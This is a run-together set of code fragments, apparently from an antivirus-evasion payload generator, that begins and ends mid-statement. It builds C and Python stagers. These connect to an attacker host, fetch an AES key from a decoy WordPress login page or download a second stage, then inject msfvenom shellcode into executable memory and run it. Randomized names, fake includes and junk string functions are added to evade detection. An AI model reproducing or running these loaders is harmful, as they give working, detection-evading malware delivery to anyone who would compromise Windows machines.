%s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])), (randName2, "char* %s(){ char %s[%s/2], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] t = random.randint(1,7) for x in xrange(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #real - service related headers (check the stub) hStatusName = helpers.randomString() serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = helpers.randomString() retval_name = helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" %(retval_name) code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name) code += "return (%s %% 256);}\n" %(retval_name) # build the winsock_init function wVersionRequested_name = helpers.randomString() wsaData_name = helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build the reverse_http uri checksum function randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62)) characters_name = helpers.randomString() string_var_name = helpers.randomString() code += "char* %s(){" %(checksum_name) code += "srand (time(NULL));int i;" code += "char %s[] = \"%s\";" %(characters_name, randchars) code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name) code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name) code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name) code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = helpers.randomString() sock_name = helpers.randomString() my_socket_name = helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # real - main() method for the service code serviceName = helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;"] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;"] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # build main() code size_name = helpers.randomString() buffer_name = helpers.randomString() function_name = helpers.randomString() my_socket_name = helpers.randomString() count_name = helpers.randomString() request_buf_name = helpers.randomString() buf_counter_name = helpers.randomString() bytes_read_name = helpers.randomString() # obfuscation stuff char_array_name_1 = helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) code += "char * %s; int i;" %(buffer_name) # obfuscation code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) # call the winsock init function code += "%s();" %(winsock_init_name) # obfuscation code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) # create our socket code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) # build and send the HTTP request to the handler code += "char %s[200];" %(request_buf_name) code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name) code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name) code += "Sleep(300);" # TODO: obfuscate/randomize the size of the page allocated code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # read the full server response into the buffer code += "char * %s = %s;" % (buf_counter_name,buffer_name) code += "int %s; do {" % (bytes_read_name) code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name) code += "%s += %s; }" % (buf_counter_name,bytes_read_name) code += "while ( %s > 0 );" % (bytes_read_name) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "closesocket(%s); WSACleanup();" %(my_socket_name) code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ %(hStatusName, hStatusName, hStatusName) return code
def generate(self): if self.required_options["INJECT_METHOD"][0].lower() == "virtual": TARGET_SERVER = str(self.required_options["TARGET_SERVER"][0]) target_html_file = str(TARGET_SERVER.split('/')[-1]) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() # Define Random Variable Names for HTTP functions RandResponse = helpers.randomString() RandHttpKey = helpers.randomString() RandMD5 = helpers.randomString() RandKeyServer = helpers.randomString() RandSleep = helpers.randomString() # Define Random Variable Names for HTML Functions RandHttpstring = helpers.randomString() # Genrate Random HTML code for webserver to host key file f = open(str(self.required_options["HTML_FILE_PATH"][0]) + target_html_file,'w') html_data = """ <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><!--<![endif]--><head> <form name="loginform" id="loginform" action="http://mainpage/wp-login.php" method="post"> <p> <label for="user_login">Username<br> <input name="log" id="user_login" class="input" size="20" type="text"></label> </p> <p> <label for="user_pass">Password<br> <input name="pwd" id="user_pass" class="input" value="" size="20" type="password"></label> </p> <p class="forgetmenot"><label for="rememberme"><input name="rememberme" id="rememberme" value="forever" type="checkbox"> Remember Me</label></p> <p class="submit"> <input name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" type="submit"> <input name="redirect_to" value="http://www.google.com" type="hidden"> <input name="testcookie" value="1" type="hidden"> </p> </form> <p id="nav"> <a rel="nofollow" href="http://www.google.com">Register</a> | <a href="http://www.google.com" title="Password Lost and Found">Lost your password?</a> </p> <p id="backtoblog"><a href="http://" title="Are you lost?">← Back to main page</a></p> </div> <div class="clear"></div> </body></html> """ html_data += '<!--'+ RandHttpstring +'-->' html_data = str(html_data) f.write(html_data) f.close() # encrypt the shellcode and grab the HTTP-Md5-Hex Key from new function (EncodedShellcode, secret) = encryption.encryptAES_http_request(Shellcode, html_data) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'import time\n' PayloadCode += 'import md5\n' PayloadCode += 'from urllib2 import Request, urlopen, URLError\n' # Define Target Server "Key hosting server" PayloadCode += RandKeyServer + ' = ' '"'+ TARGET_SERVER +'"' '\n' PayloadCode += 'while True:\n' PayloadCode += ' try:\n' # Open Target Server with HTTP GET request PayloadCode += ' ' + RandResponse + '= urlopen('+ RandKeyServer +') \n' # Check to see if server returns a 200 code or if not its most likely a 400 code PayloadCode += ' if ' + RandResponse + '.code == 200:\n' # Opening and requesting HTML from Target Server PayloadCode += ' '+ RandHttpKey + ' = urlopen('+ RandKeyServer +').read()\n' PayloadCode += ' '+ RandMD5 +' = md5.new()\n' PayloadCode += ' '+ RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Genrate MD5 hash of HTML on page PayloadCode += ' '+ RandMD5 +'.update('+ RandHttpKey +')\n' # Convert to 16 Byte Hex for AES functions PayloadCode += ' '+ RandHttpKey + ' = '+ RandMD5 +'.hexdigest()\n' # Convert to String for functions PayloadCode += ' '+ RandHttpKey + ' = str('+ RandHttpKey +')\n' # Break out to decryption PayloadCode += ' break\n' # At any point it fails you will be in sleep for supplied time PayloadCode += ' except URLError, e:\n' PayloadCode += ' time.sleep('+ self.required_options["SLEEP_TIME"][0] +')\n' PayloadCode += ' pass\n' # Execute Shellcode inject PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new('+ RandHttpKey +')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode elif self.required_options["INJECT_METHOD"][0].lower() == "heap": TARGET_SERVER = str(self.required_options["TARGET_SERVER"][0]) target_html_file = str(TARGET_SERVER.split('/')[-1]) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # Define Random Variable Names for HTTP functions RandResponse = helpers.randomString() RandHttpKey = helpers.randomString() RandMD5 = helpers.randomString() RandKeyServer = helpers.randomString() RandSleep = helpers.randomString() # Define Random Variable Names for HTML Functions RandHttpstring = helpers.randomString() # Genrate Random HTML code for webserver to host key file f = open(str(self.required_options["HTML_FILE_PATH"][0]) + target_html_file,'w') html_data = """ <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><!--<![endif]--><head> <form name="loginform" id="loginform" action="http://mainpage/wp-login.php" method="post"> <p> <label for="user_login">Username<br> <input name="log" id="user_login" class="input" size="20" type="text"></label> </p> <p> <label for="user_pass">Password<br> <input name="pwd" id="user_pass" class="input" value="" size="20" type="password"></label> </p> <p class="forgetmenot"><label for="rememberme"><input name="rememberme" id="rememberme" value="forever" type="checkbox"> Remember Me</label></p> <p class="submit"> <input name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" type="submit"> <input name="redirect_to" value="http://www.google.com" type="hidden"> <input name="testcookie" value="1" type="hidden"> </p> </form> <p id="nav"> <a rel="nofollow" href="http://www.google.com">Register</a> | <a href="http://www.google.com" title="Password Lost and Found">Lost your password?</a> </p> <p id="backtoblog"><a href="http://" title="Are you lost?">← Back to main page</a></p> </div> <div class="clear"></div> </body></html> """ html_data += '<!--'+ RandHttpstring +'-->' html_data = str(html_data) f.write(html_data) f.close() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES_http_request(Shellcode, html_data) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'import time\n' PayloadCode += 'import md5\n' PayloadCode += 'from urllib2 import Request, urlopen, URLError\n' # Define Target Server "Key hosting server" PayloadCode += RandKeyServer + ' = ' '"'+ TARGET_SERVER +'"' '\n' PayloadCode += 'while True:\n' PayloadCode += ' try:\n' # Open Target Server with HTTP GET request PayloadCode += ' ' + RandResponse + '= urlopen('+ RandKeyServer +') \n' # Check to see if server returns a 200 code or if not its most likely a 400 code PayloadCode += ' if ' + RandResponse + '.code == 200:\n' # Opening and requesting HTML from Target Server PayloadCode += ' '+ RandHttpKey + ' = urlopen('+ RandKeyServer +').read()\n' PayloadCode += ' '+ RandMD5 +' = md5.new()\n' PayloadCode += ' '+ RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Genrate MD5 hash of HTML on page PayloadCode += ' '+ RandMD5 +'.update('+ RandHttpKey +')\n' # Convert to 16 Byte Hex for AES functions PayloadCode += ' '+ RandHttpKey + ' = '+ RandMD5 +'.hexdigest()\n' # Convert to String for functions PayloadCode += ' '+ RandHttpKey + ' = str('+ RandHttpKey +')\n' # Break out to decryption PayloadCode += ' break\n' # At any point it fails you will be in sleep for supplied time PayloadCode += ' except URLError, e:\n' PayloadCode += ' time.sleep('+ self.required_options["SLEEP_TIME"][0] +')\n' PayloadCode += ' pass\n' # Execute Shellcode inject PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": TARGET_SERVER = str(self.required_options["TARGET_SERVER"][0]) target_html_file = str(TARGET_SERVER.split('/')[-1]) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # Define Random Variable Names for HTTP functions RandResponse = helpers.randomString() RandHttpKey = helpers.randomString() RandMD5 = helpers.randomString() RandKeyServer = helpers.randomString() RandSleep = helpers.randomString() # Define Random Variable Names for HTML Functions RandHttpstring = helpers.randomString() # Genrate Random HTML code for webserver to host key file f = open(str(self.required_options["HTML_FILE_PATH"][0]) + target_html_file,'w') html_data = """ <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><!--<![endif]--><head> <form name="loginform" id="loginform" action="http://mainpage/wp-login.php" method="post"> <p> <label for="user_login">Username<br> <input name="log" id="user_login" class="input" size="20" type="text"></label> </p> <p> <label for="user_pass">Password<br> <input name="pwd" id="user_pass" class="input" value="" size="20" type="password"></label> </p> <p class="forgetmenot"><label for="rememberme"><input name="rememberme" id="rememberme" value="forever" type="checkbox"> Remember Me</label></p> <p class="submit"> <input name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" type="submit"> <input name="redirect_to" value="http://www.google.com" type="hidden"> <input name="testcookie" value="1" type="hidden"> </p> </form> <p id="nav"> <a rel="nofollow" href="http://www.google.com">Register</a> | <a href="http://www.google.com" title="Password Lost and Found">Lost your password?</a> </p> <p id="backtoblog"><a href="http://" title="Are you lost?">← Back to main page</a></p> </div> <div class="clear"></div> </body></html> """ html_data += '<!--'+ RandHttpstring +'-->' html_data = str(html_data) f.write(html_data) f.close() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES_http_request(Shellcode, html_data) # Create Payload code PayloadCode = 'from ctypes import *\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'import time\n' PayloadCode += 'import md5\n' PayloadCode += 'from urllib2 import Request, urlopen, URLError\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' # Define Target Server "Key hosting server" PayloadCode += RandKeyServer + ' = ' '"'+ TARGET_SERVER +'"' '\n' PayloadCode += 'while True:\n' PayloadCode += ' try:\n' # Open Target Server with HTTP GET request PayloadCode += ' ' + RandResponse + '= urlopen('+ RandKeyServer +') \n' # Check to see if server returns a 200 code or if not its most likely a 400 code PayloadCode += ' if ' + RandResponse + '.code == 200:\n' # Opening and requesting HTML from Target Server PayloadCode += ' '+ RandHttpKey + ' = urlopen('+ RandKeyServer +').read()\n' PayloadCode += ' '+ RandMD5 +' = md5.new()\n' PayloadCode += ' '+ RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Genrate MD5 hash of HTML on page PayloadCode += ' '+ RandMD5 +'.update('+ RandHttpKey +')\n' # Convert to 16 Byte Hex for AES functions PayloadCode += ' '+ RandHttpKey + ' = '+ RandMD5 +'.hexdigest()\n' # Convert to String for functions PayloadCode += ' '+ RandHttpKey + ' = str('+ RandHttpKey +')\n' # Break out to decryption PayloadCode += ' break\n' # At any point it fails you will be in sleep for supplied time PayloadCode += ' except URLError, e:\n' PayloadCode += ' time.sleep('+ self.required_options["SLEEP_TIME"][0] +')\n' PayloadCode += ' pass\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = ' + RandDecodedShellcode + '.decode("string_escape")\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): #Random letter substition variables hex_letters = "abcdef" non_hex_letters = "ghijklmnopqrstuvwxyz" encode_with_this = random.choice(hex_letters) decode_with_this = random.choice(non_hex_letters) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names subbed_shellcode_variable_name = helpers.randomString() shellcode_variable_name = helpers.randomString() rand_ptr = helpers.randomString() rand_buf = helpers.randomString() rand_ht = helpers.randomString() rand_decoded_letter = helpers.randomString() rand_correct_letter = helpers.randomString() rand_sub_scheme = helpers.randomString() # Create Letter Substitution Scheme sub_scheme = string.maketrans(encode_with_this, decode_with_this) # Escaping Shellcode Shellcode = Shellcode.encode("string_escape") if self.required_options["inject_method"][0].lower() == "virtual": if self.required_options["expire_payload"][0].lower() == "x": # Create Payload File payload_code = 'import ctypes\n' payload_code += 'from string import maketrans\n' payload_code += rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += rand_sub_scheme + ' = maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += subbed_shellcode_variable_name + ' = \"' + Shellcode.translate( sub_scheme) + '\"\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += rand_ptr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + shellcode_variable_name + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' payload_code += rand_buf + ' = (ctypes.c_char * len(' + shellcode_variable_name + ')).from_buffer(' + shellcode_variable_name + ')\n' payload_code += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + rand_ptr + '),' + rand_buf + ',ctypes.c_int(len(' + shellcode_variable_name + ')))\n' payload_code += rand_ht + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + rand_ptr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payload_code += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + rand_ht + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) return payload_code else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) # Extra Variables RandToday = helpers.randomString() RandExpire = helpers.randomString() # Create Payload File payload_code = 'import ctypes\n' payload_code += 'from string import maketrans\n' payload_code += 'from datetime import datetime\n' payload_code += 'from datetime import date\n\n' payload_code += RandToday + ' = datetime.now()\n' payload_code += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' payload_code += 'if ' + RandToday + ' < ' + RandExpire + ':\n' payload_code += '\t' + rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += '\t' + rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += '\t' + rand_sub_scheme + ' = maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = \"' + Shellcode.translate( sub_scheme) + '\"\n' payload_code += '\t' + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += '\t' + shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += '\t' + rand_ptr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + shellcode_variable_name + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' payload_code += '\t' + rand_buf + ' = (ctypes.c_char * len(' + shellcode_variable_name + ')).from_buffer(' + shellcode_variable_name + ')\n' payload_code += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + rand_ptr + '),' + rand_buf + ',ctypes.c_int(len(' + shellcode_variable_name + ')))\n' payload_code += '\t' + rand_ht + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + rand_ptr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payload_code += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + rand_ht + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) return payload_code if self.required_options["inject_method"][0].lower() == "heap": if self.required_options["expire_payload"][0].lower() == "x": HeapVar = helpers.randomString() # Create Payload File payload_code = 'import ctypes\n' payload_code += 'from string import maketrans\n' payload_code += rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += rand_sub_scheme + ' = maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += subbed_shellcode_variable_name + ' = \"' + Shellcode.translate( sub_scheme) + 